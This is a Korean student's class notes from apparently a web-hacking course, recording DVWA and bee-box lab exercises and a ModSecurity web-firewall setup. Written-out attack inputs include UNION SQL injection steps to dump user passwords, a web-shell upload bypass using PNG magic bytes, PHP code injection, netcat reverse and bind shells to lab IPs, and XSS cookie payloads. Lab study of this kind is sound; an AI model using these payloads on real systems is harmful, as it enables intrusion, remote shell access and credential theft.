보안/웹 보안

0914 웹해킹 7일차(Application Security) → 다시 볼 것

Bordercolli 2022. 9. 14. 17:33
728x90

914일 웹 해킹보안 7일차

<오늘 일정>

dvwa실습 마무리

웹 방화벽 설치

Beebox실습(남은 문제)

<복습>

blindSQL 인젝션

db에 대한 정보가 없는 상태에서 SQL문을 조작해서 DB, 테이블명, 컬럼명 이러한 것들을 알아내는 공격

주로 에러가 힌트가 되기 때문에 오류를 일으키거나, 한 글자씩 TRUE/ FALSE를 확인하는 방식을 사용했다. 그러다보니 너무 많아서 번거로움을 해소하기 위해서 자동화된 도구를 사용했다. (SQLmap이라는 도구를 사용)

 

command Execution

검색창에 공격자는 공격을 하지 않는다. 검색창을 만들어 놓으면 검색만하겠지라고 생각하는데, 해커들은 검색을 하지 않고, 리눅스 명령어를 실행시키려고 한다. (백도어/ 트로이안 방식) 그래서 이러한 것들을 Beebox에서 PHP코드 인젝션.

 

 

실습 준비)

우분투 니가 있으니 내가 있다. (인류애)

VMWARE-DVWA

 

<복습>

sql인젝션은 모든 사용자의 idpw를 알아내는 것 (목적)

sql문 예상

1단계)

SELECT id, firstname, surname FROM ???? WHERE id=’ ‘;

id부분에 어떻게 넣을ᄁᆞ 이것을 예상해야 한다. 열려있으니ᄁᆞ 일단 닫고

‘ union select null # 또는 ‘ union select 1 # // 컬럼 개수 맞지 않음.

‘ union select 1,2 # // 정상실행 된다.

‘ union select 1,2,3 # //컬럼 개수 맞지 않음.

 

2단계) DB이름 알아내기

‘ union select database(),version # dvwa

패스워드가 해시값으로 나오면 해시s.com에다가 물어본다.

 

3단계) table이름 알아내기

‘ union select table_name.null from information_schema.tables # //table이름 너무 많이 나옴

‘ union select table_name.null from information_schema.tables where table_schema=’dvwa‘ # guestbook, users //dvwa의 테이블만 골라서 보기

4단계) columns이름 알아내기

1' union select 1,column_name,3,4,5,6,7 from information_schema.columns #

4단계) 컬럼 이름 알아내기

1' union select column_name, null from information_schema.columns #

1' union select column_name, null from information_schema.columns where table_schema=’dvwa‘ abd table_name=’uesrs‘ #

테이블명이 중복될 수 있기 때문에 데이터 베이스명이 어디서 왔는지 명시해줘야 한다.

users테이블이 두 개 있을 수 있으니 table_schema를 지정해줘야 한다.

 

5단계) user, passwrod를 추출

‘ union select user, password from users #

‘ union select user, password from dvwa.users # //dvwa에 있는 users테이블에서만 데이터를 추출한다.

 

내가 찾은 패스워드가 맞는지 볼려면 brute force를 보면 된다.

 

컬럼 테이블과 테이블 테이블에 table_name에 대한 정보가 중복해서 저장되기 때문에

 

#이 부분 다시보기

문제2) 파일 업로드 (medium)

b374k-2.8.php 파일을 업로드 하려면?

proxy도구를 활용한다는 것은 서버에서 검증하지 않고 클라이언트에서 검증하는 경우, proxy애서 조작이 가능하다.

burp suite를 활용한다.

 

 

 

 

3) High

view source를 보면

strtolower : string을 모두 소문자로 변환하는 함수 대소문자 조작 불가능

확장자 검증 : jpg(jpeg)또는 png만 업로든 가능하다.

ADN조건으로 100kbytes 이하만 가능하다.

 

확장자만 보는 것이 아니다. signature도 보아야 한다.

file signature?

파일의 정체성을 나타내는 부분, 파일의 맨 앞 부분에 특정한 표시를 한다. (보통 두 바이트정도) 이 파일이 뭐다 라는 것을 아는 것이다. 그래서 보통 os라든가 app에서 앞 부분에 몇 바이트를 읽은 다음에 읽어들여서 파일이 어떤 파일인가 이거를 확인하는 기능을 만들 수 있다. 그렇다보니 확장자가 png라고 눈속임했지만, 실제로는 확장자의 파일 시그니처가 안보인 다는 것을 알고 있다. magic number라고도 한다.

 

HxD.exe(hex편집기)

파일 > 열기 > png파일 또는 jpg파일 가져오기

PNG: 89 50 4E 47 (PNG파일 시그니처) 0D 0A(줄바꿈) 1A 0A 00 00 00 0D 49 48 44 52

JPG: FF D8 FF E0 (JPG파일 시그니처)00 10 4A 46 49 46 00 01 01 00 00 01 (ÿØÿà..JFIF......)

FF D8로 시작해서 FF D9로 끝난다.

EXE: 4D 5A (MZ:마크 즈비코프스피, ms설계자이며 처음 dos를 만든 사람/ ms dos개발자)

mz (4D 5A)가 없으면 윈도우에서 파일을 실행할 수 없음.

-pptx, docx, xlsx, apk, zip파일 :50 4B 03 04(pk: 필 케츠) 14 00 06 00 08 00 00 00 21 00 ED 1C 필 케츠: 디스켓이 불편하니 zip파일을 만들었다.

 

b374k-2.8.png파일을 HxD로 열어본다.

89 50 4E 47 0D 0A 1A 0A를 추가하고 저장하면 업로드 됨.

삽입하여 붙이기를 한다.

 

문제)

http://192.168.5.131/dvwa/hackable/uploads/b374k-2.8.png 웹 쉘 실행 안됨 ! 확장자가 png이므로 Apache2애서 실행을 못함.

확장자를 png에서 php로 바꿔주려면?

리눅스 명령어 mv명령을 이용해서 바꿔주도록 하자.

(레벨을 low로 바꾼 다음에 command injection에서 명령어 사용하면 됨)

업로드하면 경로가 나오는데, 아래와 같이 실행한다.

 

; mv ../../hackable/uploads/b374k-2.8.png ../../hackable/uploads/b374k-2.8.php

아무런 반응이 뜨지 않는다.

이렇게 넣고 실행해보도록 한다.

 

사례) 악성코드

김수지 이력서.zip 압축을 풀면 두 개의 파일이 을어있다.

이력서.hwp .bat(스크립트): 이 파일을 사용자가 클릭하면 nc 192.168.

 

Modesecurity파일 수정 (웹보안 pptp.133페이지 설치 방법 나와있음)

sudo vi /etc/modesecurity/modesecurity.conf

:set nu // 왼쪽에 노란색 번호 표시

 

1) 방화벽 설치 후 sql인젝션시

웹 방화벽이 정상적으로 실행된다면 sql인젝션시, 방화벽이 차단하기 떄문에 이렇게 뜬다.

웹 방화벽 설정 완료되면,

1) SQL인젝션

2) XSS

3) 웹 쉘 upload

4) 디렉터리 리스팅

5) 임의 파일 다운로드 취약점

6) 요청 및 응답 값 내 위/ 변조 취약점

하면 방화벽에서 차단을 한다.

 

2) 방화벽 설치 후 xss(reflected)

high로 해도 안됨

# 웹 방화벽 실습

크롤러들이 크롤러해서 검색엔진 노출을 할 수 없다. 웹 방화벽은 이를 어느정도 막아줄 수 있지만, 완전한 차단은 어려움(다른 사용자들도 할 수 없기 떄문에)

실행 결과가 아파치 들어가기 전에 방화벽이 해당 요청을 인식하고 접근할 수 없다고 막아버렸다. (1355분 강의 내용- 다시보기)

, command injection시에, pwd, || w 등의 명령어는 막지 못한다.

w글자를 다 못막아서 이 명령어는 못막는 것일수 있다.

 

, 방화벽은)

기존의 스크립트는 차단을 못하고 들어가면서 차단을 한다.

 

beebox실습하기

beebox ip192.168.5.133!!!!!!!!

A1 injection

/php code injection/

메시지를 클릭하면 tes로 출력됨. (reflected)

urltest대신에 hello를 넣으면 hello라는 글자가 출력됨.

1) 목적: 리눅스 명령어를 출력시키려면?(php명령을 실행하는 함수)

?message=exec(‘pwd’)

?message=shell_exec(‘whoami’)

?message=system(‘pwd’) //두 번 나옴

?message=passthru(‘ps ef’)

 


2)
칼리 키고, netcat을 이용해서 연결해보기.

윈도우가 victim이면 e cmd.exe

리눅스가 victim이면 e /bin/sh

 

칼리: 공격자: 서버

$nc l p 8888

beebox: 희생자: 클라이언트

?message=exec(“nc 192.168.5.132 8888 e /bin/bash”)

 

 

 

 

 

밑에 악어, 이러한 시뮬레이션이라고 한다.

 

ip addr 을 보면 비박스의&nbsp; ip 가 뜬다 .&nbsp; 원격으로 연결됨 .
공격자가 접근하는 해킹은 없다 .&nbsp; 주로 공격자는 포트를 열고 기다리고 악성코드를 접속을 하게 하든지 ,&nbsp; 속이는 방법으로 해서 보낸다 . 8888 포트를 주면서 명령을 주면 피해자는 정보를 주는 시나리오 .

 

 

댜부분의 리눅스에는 netcat이 있다. (beebox, 칼리리눅스, 우분투 등등)

악성코드는 아니지만 깔려있다. 심지어 안드로이드에도 들어있다. (-e 옵션을 사용할 수 없음.)

 

 

beebox 실습2) os command injection

beebox: 희생자: 서버(백도어)

; nc l p 7777 e /bin/bash

칼리: 공격자: 클라이언트

$nc 192.168.5.133 7777

http는 속성상 문서를 다 주면 연결을 끝내는데(stateless),

iotnetcat에 취약하다.

ctrl-c하면 둘 다 연결이 끊긴다.

 

 

실습3) /SQL injection(get/select)(목적: 주소 표시줄을 이용해서 조작을 할 수 있다. )

어떻게 하면 idpw를 알 수 있을까?

 

movie=2&action=go (아이언맨)

movie=5&action=go (스파이더맨)

?movie=5 union select user,password from users //컬럼 개수가 맞지 않는다.7

url이라서 #은 필요로 하지 않는다.

?movie=5 union select 1, login,password,4,5,6,7 from users //1~10ᄁᆞ지는 DB에 있으므로 없는 번호인 11,12 등을 사용한다.

 

실습4)

/XSS - Reflected (GET)/ 클라이언트를 공격

low단계

id: <script> alert(‘good’)</script>

pw: 아무거나

medium단계

$ cd /var/www/bWAPP

$sudo vi xss_get.php (xss_check_4()를 사용하고 있음)

:q

이 파일 안에 보안 수준에 따른 설정이 되어 있음.

$ sudo vi functions_external.php

:set nu //왼쪽에 라인번호 표시됨

(129-138라인을 보면, xss_check_4addslashes()함수를 사용하고 있음)

:q

 

<script> alert(55) </script>

정상적으로 실행되는 이유: ‘를 사용하지 않아서

<script>alert(document.cookie)</script>  //쿠키값 출력

숫자와 쿠키값 출력밖에 안되어서 공격에 제안이 있다.(문자는 안됨.)

 

그렇다면 문자를 출력하려면?

String.fromCharCode()함수 10진수를 넣으면 아스키로 변환해주는 함수

<script>alert(String.fromCharCode(104, 105))</script>

<script>alert(String.fromCharCode(103,111,111,100))</script>

 

 

addslashes()함수 특징

벡슬레쉬를 add한다. escape가 필요한 문자열에다가 백슬래쉬를 추기한다.

escape가 필요한 문자열: ‘, “, \, NULL 앞에 \를 붙여서 ESCAPE처리를 하고 있다.

(escape처리란, 특수문자가 기능을 하지 못하도록 하는 것, 그냥 모양만으로 출력되게 함.)

 

아스키를 숫자로 변환하는 사이트

https://onlineasciitools.com/convert-ascii-to-decimal

 

실습5)

/CSRF (Change Password)/

스크립트를 활용하는 공격으로 공격대상이 클라이언트가 아니고 서버를 공격하는 것

스크립트를 활용하는 공격으로 클라이언트에게 주어진 권한으로 웹 서버에게 어떤 요청을 보내는 공격

 

어떤 공격이 가능한가?

ex)- 자동 댓글달기사용자가 게시판 글을 읽기만 했는데 스크립트가 실행되면서 자동으로 댓글이 달리거나 좋아요 눌러짐

- 패스워드 변경 사용자 권한을 이용해서 사용자의 패스워드를 변경하는 시도가 가능해진다. 패스워드가 변경되어서 이제 로그인이 안됨.

- 자동으로 탈퇴 요청을 보내다. 관리자가 보기에는 왜 탈퇴를 하는가? 의심하게 됨.(확인버튼인지 알고 눌렀는데, 탈퇴요청 버튼이었다.)

 

 

 

1) low

-관리자도구(57~67번 라인 소스코드)

 

비밀번호가 원래는&nbsp; bug 였는데 오류가 뜬다 .&nbsp; 정상적으로 비밀번호가 바뀐 것을 확인할 수 있다 .

 

 

 

로그아웃 후 재로그인을 하려고 bug를 치니 오류가 뜬다. 비번 잃어버릴까봐 무서워서 다시 bug로 변경했다.
이렇게 하면 패스워드변경인지 모른채로 내 사용자의 비번이 변경된다 .